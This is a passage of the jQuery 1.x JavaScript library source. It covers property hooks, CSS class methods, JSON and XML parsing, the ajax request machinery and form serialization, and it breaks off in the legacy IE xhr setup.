// don't get/set properties on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
if ( notxml ) {
// Fix name and attach hooks
name = jQuery.propFix[ name ] || name;
hooks = jQuery.propHooks[ name ];
}
if ( value !== undefined ) {
return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ?
ret :
( elem[ name ] = value );
} else {
return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ?
ret :
elem[ name ];
}
},
propHooks: {
tabIndex: {
get: function( elem ) {
// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
// Use proper attribute retrieval(#12072)
var tabindex = jQuery.find.attr( elem, "tabindex" );
return tabindex ?
parseInt( tabindex, 10 ) :
rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
0 :
-1;
}
}
}
});
// Some attributes require a special call on IE
// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
if ( !support.hrefNormalized ) {
// href/src property should get the full normalized URL (#10299/#12915)
jQuery.each([ "href", "src" ], function( i, name ) {
jQuery.propHooks[ name ] = {
get: function( elem ) {
return elem.getAttribute( name, 4 );
}
};
});
}
// Support: Safari, IE9+
// mis-reports the default selected property of an option
// Accessing the parent's selectedIndex property fixes it
if ( !support.optSelected ) {
jQuery.propHooks.selected = {
get: function( elem ) {
var parent = elem.parentNode;
if ( parent ) {
parent.selectedIndex;
// Make sure that it also works with optgroups, see #5701
if ( parent.parentNode ) {
parent.parentNode.selectedIndex;
}
}
return null;
}
};
}
jQuery.each([
"tabIndex",
"readOnly",
"maxLength",
"cellSpacing",
"cellPadding",
"rowSpan",
"colSpan",
"useMap",
"frameBorder",
"contentEditable"
], function() {
jQuery.propFix[ this.toLowerCase() ] = this;
});
// IE6/7 call enctype encoding
if ( !support.enctype ) {
jQuery.propFix.enctype = "encoding";
}
var rclass = /[\t\r\n\f]/g;
jQuery.fn.extend({
addClass: function( value ) {
var classes, elem, cur, clazz, j, finalValue,
i = 0,
len = this.length,
proceed = typeof value === "string" && value;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).addClass( value.call( this, j, this.className ) );
});
}
if ( proceed ) {
// The disjunction here is for better compressibility (see removeClass)
classes = ( value || "" ).match( rnotwhite ) || [];
for ( ; i < len; i++ ) {
elem = this[ i ];
cur = elem.nodeType === 1 && ( elem.className ?
( " " + elem.className + " " ).replace( rclass, " " ) :
" "
);
if ( cur ) {
j = 0;
while ( (clazz = classes[j++]) ) {
if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
cur += clazz + " ";
}
}
// only assign if different to avoid unneeded rendering.
finalValue = jQuery.trim( cur );
if ( elem.className !== finalValue ) {
elem.className = finalValue;
}
}
}
}
return this;
},
removeClass: function( value ) {
var classes, elem, cur, clazz, j, finalValue,
i = 0,
len = this.length,
proceed = arguments.length === 0 || typeof value === "string" && value;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).removeClass( value.call( this, j, this.className ) );
});
}
if ( proceed ) {
classes = ( value || "" ).match( rnotwhite ) || [];
for ( ; i < len; i++ ) {
elem = this[ i ];
// This expression is here for better compressibility (see addClass)
cur = elem.nodeType === 1 && ( elem.className ?
( " " + elem.className + " " ).replace( rclass, " " ) :
""
);
if ( cur ) {
j = 0;
while ( (clazz = classes[j++]) ) {
// Remove *all* instances
while ( cur.indexOf( " " + clazz + " " ) >= 0 ) {
cur = cur.replace( " " + clazz + " ", " " );
}
}
// only assign if different to avoid unneeded rendering.
finalValue = value ? jQuery.trim( cur ) : "";
if ( elem.className !== finalValue ) {
elem.className = finalValue;
}
}
}
}
return this;
},
toggleClass: function( value, stateVal ) {
var type = typeof value;
if ( typeof stateVal === "boolean" && type === "string" ) {
return stateVal ? this.addClass( value ) : this.removeClass( value );
}
if ( jQuery.isFunction( value ) ) {
return this.each(function( i ) {
jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
});
}
return this.each(function() {
if ( type === "string" ) {
// toggle individual class names
var className,
i = 0,
self = jQuery( this ),
classNames = value.match( rnotwhite ) || [];
while ( (className = classNames[ i++ ]) ) {
// check each className given, space separated list
if ( self.hasClass( className ) ) {
self.removeClass( className );
} else {
self.addClass( className );
}
}
// Toggle whole class name
} else if ( type === strundefined || type === "boolean" ) {
if ( this.className ) {
// store className if set
jQuery._data( this, "__className__", this.className );
}
// If the element has a class name or if we're passed "false",
// then remove the whole classname (if there was one, the above saved it).
// Otherwise bring back whatever was previously saved (if anything),
// falling back to the empty string if nothing was stored.
this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
}
});
},
hasClass: function( selector ) {
var className = " " + selector + " ",
i = 0,
l = this.length;
for ( ; i < l; i++ ) {
if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) {
return true;
}
}
return false;
}
});
// Return jQuery for attributes-only inclusion
jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
"change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) {
// Handle event binding
jQuery.fn[ name ] = function( data, fn ) {
return arguments.length > 0 ?
this.on( name, null, data, fn ) :
this.trigger( name );
};
});
jQuery.fn.extend({
hover: function( fnOver, fnOut ) {
return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
},
bind: function( types, data, fn ) {
return this.on( types, null, data, fn );
},
unbind: function( types, fn ) {
return this.off( types, null, fn );
},
delegate: function( selector, types, data, fn ) {
return this.on( types, selector, data, fn );
},
undelegate: function( selector, types, fn ) {
// ( namespace ) or ( selector, types [, fn] )
return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
}
});
var nonce = jQuery.now();
var rquery = (/\?/);
var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
jQuery.parseJSON = function( data ) {
// Attempt to parse using the native JSON parser first
if ( window.JSON && window.JSON.parse ) {
// Support: Android 2.3
// Workaround failure to string-cast null input
return window.JSON.parse( data + "" );
}
var requireNonComma,
depth = null,
str = jQuery.trim( data + "" );
// Guard against invalid (and possibly dangerous) input by ensuring that nothing remains
// after removing valid tokens
return str && !jQuery.trim( str.replace( rvalidtokens, function( token, comma, open, close ) {
// Force termination if we see a misplaced comma
if ( requireNonComma && comma ) {
depth = 0;
}
// Perform no more replacements after returning to outermost depth
if ( depth === 0 ) {
return token;
}
// Commas must not follow "[", "{", or ","
requireNonComma = open || comma;
// Determine new depth
// array/object open ("[" or "{"): depth += true - false (increment)
// array/object close ("]" or "}"): depth += false - true (decrement)
// other cases ("," or primitive): depth += true - true (numeric cast)
depth += !close - !open;
// Remove this token
return "";
}) ) ?
( Function( "return " + str ) )() :
jQuery.error( "Invalid JSON: " + data );
};
// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
var xml, tmp;
if ( !data || typeof data !== "string" ) {
return null;
}
try {
if ( window.DOMParser ) { // Standard
tmp = new DOMParser();
xml = tmp.parseFromString( data, "text/xml" );
} else { // IE
xml = new ActiveXObject( "Microsoft.XMLDOM" );
xml.async = "false";
xml.loadXML( data );
}
} catch( e ) {
xml = undefined;
}
if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) {
jQuery.error( "Invalid XML: " + data );
}
return xml;
};
var
// Document location
ajaxLocParts,
ajaxLocation,
rhash = /#.*$/,
rts = /([?&])_=[^&]*/,
rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL
// #7653, #8125, #8152: local protocol detection
rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
rnoContent = /^(?:GET|HEAD)$/,
rprotocol = /^\/\//,
rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
/* Prefilters
* 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
* 2) These are called:
* - BEFORE asking for a transport
* - AFTER param serialization (s.data is a string if s.processData is true)
* 3) key is the dataType
* 4) the catchall symbol "*" can be used
* 5) execution will start with transport dataType and THEN continue down to "*" if needed
*/
prefilters = {},
/* Transports bindings
* 1) key is the dataType
* 2) the catchall symbol "*" can be used
* 3) selection will start with transport dataType and THEN go to "*" if needed
*/
transports = {},
// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
allTypes = "*/".concat("*");
// #8138, IE may throw an exception when accessing
// a field from window.location if document.domain has been set
try {
ajaxLocation = location.href;
} catch( e ) {
// Use the href attribute of an A element
// since IE will modify it given document.location
ajaxLocation = document.createElement( "a" );
ajaxLocation.href = "";
ajaxLocation = ajaxLocation.href;
}
// Segment location into parts
ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {
// dataTypeExpression is optional and defaults to "*"
return function( dataTypeExpression, func ) {
if ( typeof dataTypeExpression !== "string" ) {
func = dataTypeExpression;
dataTypeExpression = "*";
}
var dataType,
i = 0,
dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];
if ( jQuery.isFunction( func ) ) {
// For each dataType in the dataTypeExpression
while ( (dataType = dataTypes[i++]) ) {
// Prepend if requested
if ( dataType.charAt( 0 ) === "+" ) {
dataType = dataType.slice( 1 ) || "*";
(structure[ dataType ] = structure[ dataType ] || []).unshift( func );
// Otherwise append
} else {
(structure[ dataType ] = structure[ dataType ] || []).push( func );
}
}
}
};
}
// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
var inspected = {},
seekingTransport = ( structure === transports );
function inspect( dataType ) {
var selected;
inspected[ dataType ] = true;
jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
options.dataTypes.unshift( dataTypeOrTransport );
inspect( dataTypeOrTransport );
return false;
} else if ( seekingTransport ) {
return !( selected = dataTypeOrTransport );
}
});
return selected;
}
return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
}
// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
var deep, key,
flatOptions = jQuery.ajaxSettings.flatOptions || {};
for ( key in src ) {
if ( src[ key ] !== undefined ) {
( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];
}
}
if ( deep ) {
jQuery.extend( true, target, deep );
}
return target;
}
/* Handles responses to an ajax request:
* - finds the right dataType (mediates between content-type and expected dataType)
* - returns the corresponding response
*/
function ajaxHandleResponses( s, jqXHR, responses ) {
var firstDataType, ct, finalDataType, type,
contents = s.contents,
dataTypes = s.dataTypes;
// Remove auto dataType and get content-type in the process
while ( dataTypes[ 0 ] === "*" ) {
dataTypes.shift();
if ( ct === undefined ) {
ct = s.mimeType || jqXHR.getResponseHeader("Content-Type");
}
}
// Check if we're dealing with a known content-type
if ( ct ) {
for ( type in contents ) {
if ( contents[ type ] && contents[ type ].test( ct ) ) {
dataTypes.unshift( type );
break;
}
}
}
// Check to see if we have a response for the expected dataType
if ( dataTypes[ 0 ] in responses ) {
finalDataType = dataTypes[ 0 ];
} else {
// Try convertible dataTypes
for ( type in responses ) {
if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
finalDataType = type;
break;
}
if ( !firstDataType ) {
firstDataType = type;
}
}
// Or just use first one
finalDataType = finalDataType || firstDataType;
}
// If we found a dataType
// We add the dataType to the list if needed
// and return the corresponding response
if ( finalDataType ) {
if ( finalDataType !== dataTypes[ 0 ] ) {
dataTypes.unshift( finalDataType );
}
return responses[ finalDataType ];
}
}
/* Chain conversions given the request and the original response
* Also sets the responseXXX fields on the jqXHR instance
*/
function ajaxConvert( s, response, jqXHR, isSuccess ) {
var conv2, current, conv, tmp, prev,
converters = {},
// Work with a copy of dataTypes in case we need to modify it for conversion
dataTypes = s.dataTypes.slice();
// Create converters map with lowercased keys
if ( dataTypes[ 1 ] ) {
for ( conv in s.converters ) {
converters[ conv.toLowerCase() ] = s.converters[ conv ];
}
}
current = dataTypes.shift();
// Convert to each sequential dataType
while ( current ) {
if ( s.responseFields[ current ] ) {
jqXHR[ s.responseFields[ current ] ] = response;
}
// Apply the dataFilter if provided
if ( !prev && isSuccess && s.dataFilter ) {
response = s.dataFilter( response, s.dataType );
}
prev = current;
current = dataTypes.shift();
if ( current ) {
// There's only work to do if current dataType is non-auto
if ( current === "*" ) {
current = prev;
// Convert response if prev dataType is non-auto and differs from current
} else if ( prev !== "*" && prev !== current ) {
// Seek a direct converter
conv = converters[ prev + " " + current ] || converters[ "* " + current ];
// If none found, seek a pair
if ( !conv ) {
for ( conv2 in converters ) {
// If conv2 outputs current
tmp = conv2.split( " " );
if ( tmp[ 1 ] === current ) {
// If prev can be converted to accepted input
conv = converters[ prev + " " + tmp[ 0 ] ] ||
converters[ "* " + tmp[ 0 ] ];
if ( conv ) {
// Condense equivalence converters
if ( conv === true ) {
conv = converters[ conv2 ];
// Otherwise, insert the intermediate dataType
} else if ( converters[ conv2 ] !== true ) {
current = tmp[ 0 ];
dataTypes.unshift( tmp[ 1 ] );
}
break;
}
}
}
}
// Apply converter (if not an equivalence)
if ( conv !== true ) {
// Unless errors are allowed to bubble, catch and return them
if ( conv && s[ "throws" ] ) {
response = conv( response );
} else {
try {
response = conv( response );
} catch ( e ) {
return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current };
}
}
}
}
}
}
return { state: "success", data: response };
}
jQuery.extend({
// Counter for holding the number of active queries
active: 0,
// Last-Modified header cache for next request
lastModified: {},
etag: {},
ajaxSettings: {
url: ajaxLocation,
type: "GET",
isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
global: true,
processData: true,
async: true,
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
/*
timeout: 0,
data: null,
dataType: null,
username: null,
password: null,
cache: null,
throws: false,
traditional: false,
headers: {},
*/
accepts: {
"*": allTypes,
text: "text/plain",
html: "text/html",
xml: "application/xml, text/xml",
json: "application/json, text/javascript"
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText",
json: "responseJSON"
},
// Data converters
// Keys separate source (or catchall "*") and destination types with a single space
converters: {
// Convert anything to text
"* text": String,
// Text to html (true = no transformation)
"text html": true,
// Evaluate text as a json expression
"text json": jQuery.parseJSON,
// Parse text as xml
"text xml": jQuery.parseXML
},
// For options that shouldn't be deep extended:
// you can add your own custom options here if
// and when you create one that shouldn't be
// deep extended (see ajaxExtend)
flatOptions: {
url: true,
context: true
}
},
// Creates a full fledged settings object into target
// with both ajaxSettings and settings fields.
// If target is omitted, writes into ajaxSettings.
ajaxSetup: function( target, settings ) {
return settings ?
// Building a settings object
ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
// Extending ajaxSettings
ajaxExtend( jQuery.ajaxSettings, target );
},
ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
ajaxTransport: addToPrefiltersOrTransports( transports ),
// Main method
ajax: function( url, options ) {
// If url is an object, simulate pre-1.5 signature
if ( typeof url === "object" ) {
options = url;
url = undefined;
}
// Force options to be an object
options = options || {};
var // Cross-domain detection vars
parts,
// Loop variable
i,
// URL without anti-cache param
cacheURL,
// Response headers as string
responseHeadersString,
// timeout handle
timeoutTimer,
// To know if global events are to be dispatched
fireGlobals,
transport,
// Response headers
responseHeaders,
// Create the final options object
s = jQuery.ajaxSetup( {}, options ),
// Callbacks context
callbackContext = s.context || s,
// Context for global events is callbackContext if it is a DOM node or jQuery collection
globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ?
jQuery( callbackContext ) :
jQuery.event,
// Deferreds
deferred = jQuery.Deferred(),
completeDeferred = jQuery.Callbacks("once memory"),
// Status-dependent callbacks
statusCode = s.statusCode || {},
// Headers (they are sent all at once)
requestHeaders = {},
requestHeadersNames = {},
// The jqXHR state
state = 0,
// Default abort message
strAbort = "canceled",
// Fake xhr
jqXHR = {
readyState: 0,
// Builds headers hashtable if needed
getResponseHeader: function( key ) {
var match;
if ( state === 2 ) {
if ( !responseHeaders ) {
responseHeaders = {};
while ( (match = rheaders.exec( responseHeadersString )) ) {
responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
}
}
match = responseHeaders[ key.toLowerCase() ];
}
return match == null ? null : match;
},
// Raw string
getAllResponseHeaders: function() {
return state === 2 ? responseHeadersString : null;
},
// Caches the header
setRequestHeader: function( name, value ) {
var lname = name.toLowerCase();
if ( !state ) {
name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
requestHeaders[ name ] = value;
}
return this;
},
// Overrides response content-type header
overrideMimeType: function( type ) {
if ( !state ) {
s.mimeType = type;
}
return this;
},
// Status-dependent callbacks
statusCode: function( map ) {
var code;
if ( map ) {
if ( state < 2 ) {
for ( code in map ) {
// Lazy-add the new callback in a way that preserves old ones
statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
}
} else {
// Execute the appropriate callbacks
jqXHR.always( map[ jqXHR.status ] );
}
}
return this;
},
// Cancel the request
abort: function( statusText ) {
var finalText = statusText || strAbort;
if ( transport ) {
transport.abort( finalText );
}
done( 0, finalText );
return this;
}
};
// Attach deferreds
deferred.promise( jqXHR ).complete = completeDeferred.add;
jqXHR.success = jqXHR.done;
jqXHR.error = jqXHR.fail;
// Remove hash character (#7531: and string promotion)
// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
// Handle falsy url in the settings object (#10093: consistency with old signature)
// We also use the url parameter if available
s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
// Alias method option to type as per ticket #12004
s.type = options.method || options.type || s.method || s.type;
// Extract dataTypes list
s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ];
// A cross-domain request is in order when we have a protocol:host:port mismatch
if ( s.crossDomain == null ) {
parts = rurl.exec( s.url.toLowerCase() );
s.crossDomain = !!( parts &&
( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||
( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !==
( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) )
);
}
// Convert data if not already a string
if ( s.data && s.processData && typeof s.data !== "string" ) {
s.data = jQuery.param( s.data, s.traditional );
}
// Apply prefilters
inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
// If request was aborted inside a prefilter, stop there
if ( state === 2 ) {
return jqXHR;
}
// We can fire global events as of now if asked to
fireGlobals = s.global;
// Watch for a new set of requests
if ( fireGlobals && jQuery.active++ === 0 ) {
jQuery.event.trigger("ajaxStart");
}
// Uppercase the type
s.type = s.type.toUpperCase();
// Determine if request has content
s.hasContent = !rnoContent.test( s.type );
// Save the URL in case we're toying with the If-Modified-Since
// and/or If-None-Match header later on
cacheURL = s.url;
// More options handling for requests with no content
if ( !s.hasContent ) {
// If data is available, append data to url
if ( s.data ) {
cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Add anti-cache in url if needed
if ( s.cache === false ) {
s.url = rts.test( cacheURL ) ?
// If there is already a '_' parameter, set its value
cacheURL.replace( rts, "$1_=" + nonce++ ) :
// Otherwise add one to the end
cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++;
}
}
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
if ( jQuery.lastModified[ cacheURL ] ) {
jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
}
if ( jQuery.etag[ cacheURL ] ) {
jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
}
}
// Set the correct header, if data is being sent
if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
jqXHR.setRequestHeader( "Content-Type", s.contentType );
}
// Set the Accepts header for the server, depending on the dataType
jqXHR.setRequestHeader(
"Accept",
s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
s.accepts[ "*" ]
);
// Check for headers option
for ( i in s.headers ) {
jqXHR.setRequestHeader( i, s.headers[ i ] );
}
// Allow custom headers/mimetypes and early abort
if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
// Abort if not done already and return
return jqXHR.abort();
}
// aborting is no longer a cancellation
strAbort = "abort";
// Install callbacks on deferreds
for ( i in { success: 1, error: 1, complete: 1 } ) {
jqXHR[ i ]( s[ i ] );
}
// Get transport
transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
// If no transport, we auto-abort
if ( !transport ) {
done( -1, "No Transport" );
} else {
jqXHR.readyState = 1;
// Send global event
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
}
// Timeout
if ( s.async && s.timeout > 0 ) {
timeoutTimer = setTimeout(function() {
jqXHR.abort("timeout");
}, s.timeout );
}
try {
state = 1;
transport.send( requestHeaders, done );
} catch ( e ) {
// Propagate exception as error if not done
if ( state < 2 ) {
done( -1, e );
// Simply rethrow otherwise
} else {
throw e;
}
}
}
// Callback for when everything is done
function done( status, nativeStatusText, responses, headers ) {
var isSuccess, success, error, response, modified,
statusText = nativeStatusText;
// Called once
if ( state === 2 ) {
return;
}
// State is "done" now
state = 2;
// Clear timeout if it exists
if ( timeoutTimer ) {
clearTimeout( timeoutTimer );
}
// Dereference transport for early garbage collection
// (no matter how long the jqXHR object will be used)
transport = undefined;
// Cache response headers
responseHeadersString = headers || "";
// Set readyState
jqXHR.readyState = status > 0 ? 4 : 0;
// Determine if successful
isSuccess = status >= 200 && status < 300 || status === 304;
// Get response data
if ( responses ) {
response = ajaxHandleResponses( s, jqXHR, responses );
}
// Convert no matter what (that way responseXXX fields are always set)
response = ajaxConvert( s, response, jqXHR, isSuccess );
// If successful, handle type chaining
if ( isSuccess ) {
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
modified = jqXHR.getResponseHeader("Last-Modified");
if ( modified ) {
jQuery.lastModified[ cacheURL ] = modified;
}
modified = jqXHR.getResponseHeader("etag");
if ( modified ) {
jQuery.etag[ cacheURL ] = modified;
}
}
// if no content
if ( status === 204 || s.type === "HEAD" ) {
statusText = "nocontent";
// if not modified
} else if ( status === 304 ) {
statusText = "notmodified";
// If we have data, let's convert it
} else {
statusText = response.state;
success = response.data;
error = response.error;
isSuccess = !error;
}
} else {
// We extract error from statusText
// then normalize statusText and status for non-aborts
error = statusText;
if ( status || !statusText ) {
statusText = "error";
if ( status < 0 ) {
status = 0;
}
}
}
// Set data for the fake xhr object
jqXHR.status = status;
jqXHR.statusText = ( nativeStatusText || statusText ) + "";
// Success/Error
if ( isSuccess ) {
deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
} else {
deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
}
// Status-dependent callbacks
jqXHR.statusCode( statusCode );
statusCode = undefined;
if ( fireGlobals ) {
globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
[ jqXHR, s, isSuccess ? success : error ] );
}
// Complete
completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
// Handle the global AJAX counter
if ( !( --jQuery.active ) ) {
jQuery.event.trigger("ajaxStop");
}
}
}
return jqXHR;
},
getJSON: function( url, data, callback ) {
return jQuery.get( url, data, callback, "json" );
},
getScript: function( url, callback ) {
return jQuery.get( url, undefined, callback, "script" );
}
});
jQuery.each( [ "get", "post" ], function( i, method ) {
jQuery[ method ] = function( url, data, callback, type ) {
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
return jQuery.ajax({
url: url,
type: method,
dataType: type,
data: data,
success: callback
});
};
});
// Attach a bunch of functions for handling common AJAX events
jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) {
jQuery.fn[ type ] = function( fn ) {
return this.on( type, fn );
};
});
jQuery._evalUrl = function( url ) {
return jQuery.ajax({
url: url,
type: "GET",
dataType: "script",
async: false,
global: false,
"throws": true
});
};
jQuery.fn.extend({
wrapAll: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapAll( html.call(this, i) );
});
}
if ( this[0] ) {
// The elements to wrap the target around
var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
if ( this[0].parentNode ) {
wrap.insertBefore( this[0] );
}
wrap.map(function() {
var elem = this;
while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
elem = elem.firstChild;
}
return elem;
}).append( this );
}
return this;
},
wrapInner: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapInner( html.call(this, i) );
});
}
return this.each(function() {
var self = jQuery( this ),
contents = self.contents();
if ( contents.length ) {
contents.wrapAll( html );
} else {
self.append( html );
}
});
},
wrap: function( html ) {
var isFunction = jQuery.isFunction( html );
return this.each(function(i) {
jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );
});
},
unwrap: function() {
return this.parent().each(function() {
if ( !jQuery.nodeName( this, "body" ) ) {
jQuery( this ).replaceWith( this.childNodes );
}
}).end();
}
});
jQuery.expr.filters.hidden = function( elem ) {
// Support: Opera <= 12.12
// Opera reports offsetWidths and offsetHeights less than zero on some elements
return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 ||
(!support.reliableHiddenOffsets() &&
((elem.style && elem.style.display) || jQuery.css( elem, "display" )) === "none");
};
jQuery.expr.filters.visible = function( elem ) {
return !jQuery.expr.filters.hidden( elem );
};
var r20 = /%20/g,
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
rsubmittable = /^(?:input|select|textarea|keygen)/i;
function buildParams( prefix, obj, traditional, add ) {
var name;
if ( jQuery.isArray( obj ) ) {
// Serialize array item.
jQuery.each( obj, function( i, v ) {
if ( traditional || rbracket.test( prefix ) ) {
// Treat each array item as a scalar.
add( prefix, v );
} else {
// Item is non-scalar (array or object), encode its numeric index.
buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add );
}
});
} else if ( !traditional && jQuery.type( obj ) === "object" ) {
// Serialize object item.
for ( name in obj ) {
buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
}
} else {
// Serialize scalar item.
add( prefix, obj );
}
}
// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
var prefix,
s = [],
add = function( key, value ) {
// If value is a function, invoke it and return its value
value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
};
// Set traditional to true for jQuery <= 1.3.2 behavior.
if ( traditional === undefined ) {
traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
}
// If an array was passed in, assume that it is an array of form elements.
if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
});
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" ).replace( r20, "+" );
};
jQuery.fn.extend({
serialize: function() {
return jQuery.param( this.serializeArray() );
},
serializeArray: function() {
return this.map(function() {
// Can add propHook for "elements" to filter or add form elements
var elements = jQuery.prop( this, "elements" );
return elements ? jQuery.makeArray( elements ) : this;
})
.filter(function() {
var type = this.type;
// Use .is(":disabled") so that fieldset[disabled] works
return this.name && !jQuery( this ).is( ":disabled" ) &&
rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
( this.checked || !rcheckableType.test( type ) );
})
.map(function( i, elem ) {
var val = jQuery( this ).val();
return val == null ?
null :
jQuery.isArray( val ) ?
jQuery.map( val, function( val ) {
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}) :
{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}).get();
}
});
// Create the request object
// (This is still attached to ajaxSettings for backward compatibility)
jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ?
// Support: IE6+
function() {
// XHR cannot access local files, always use ActiveX for that case
return !this.isLocal &&
// Support: IE7-8
// oldIE XHR does not support non-RFC2616 methods (#13240)
// See http://msdn.microsoft.com/en-us/library/ie/ms536648(v=vs.85).aspx
// and http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9
// Although this check for six methods instead of eight
// since IE also does not support "trace" and "connect"
